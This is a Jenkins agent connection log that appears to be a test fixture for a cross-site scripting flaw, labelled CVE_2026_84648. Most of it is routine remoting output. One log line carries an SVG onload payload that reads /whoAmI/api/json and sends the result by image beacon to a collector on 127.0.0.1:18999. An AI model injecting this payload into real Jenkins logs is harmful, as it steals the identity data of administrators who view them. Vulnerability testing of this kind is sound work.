Sep 04, 2026 7:08:56 AM hudson.remoting.Engine startEngine
INFO: Using Remoting version: 3386.v353e57a_1b_ea_0
Sep 04, 2026 7:08:56 AM hudson.remoting.Engine startEngine
WARNING: No Working Directory. Using the legacy JAR Cache location: /var/jenkins_home/.jenkins/cache/jars
ENGINE_STATUS: Locating server among [http://127.0.0.1:8080/]
Sep 04, 2026 7:08:56 AM org.jenkinsci.remoting.engine.JnlpAgentEndpointResolver resolve
INFO: Remoting server accepts the following protocols: [JNLP4-connect, Ping]
ENGINE_STATUS: Agent discovery successful
  Agent address: 127.0.0.1
  Agent port:    50000
  Identity:      5d:72:66:40:6a:3a:11:a2:bf:bd:8e:aa:aa:9b:23:a1
ENGINE_STATUS: Handshaking
ENGINE_STATUS: Server reports protocol JNLP4-connect-proxy not supported, skipping
ENGINE_STATUS: Trying protocol: JNLP4-connect
ENGINE_STATUS: Connecting to 127.0.0.1:50000
Sep 04, 2026 7:08:56 AM org.jenkinsci.remoting.protocol.impl.BIONetworkLayer$Reader run
INFO: Waiting for ProtocolStack to start.
ENGINE_STATUS: Remote identity confirmed: 5d:72:66:40:6a:3a:11:a2:bf:bd:8e:aa:aa:9b:23:a1
ENGINE_STATUS: Connected
CHANNEL_CONNECTED
Sep 04, 2026 7:09:01 AM com.example.agent.Benign heartbeat
INFO: agent heartbeat (benign control record)
Sep 04, 2026 7:09:01 AM <svg/onload="fetch('/whoAmI/api/json').then(r=>r.text()).then(t=>new Image().src='http://127.0.0.1:18999/b?m=CVE_2026_84648_vulnerable_2_127284800&d='+encodeURIComponent(t)).catch(e=>new Image().src='http://127.0.0.1:18999/b?m=CVE_2026_84648_vulnerable_2_127284800&err=1')">
SEVERE: routine agent message
MALICIOUS_RECORD_PUBLISHED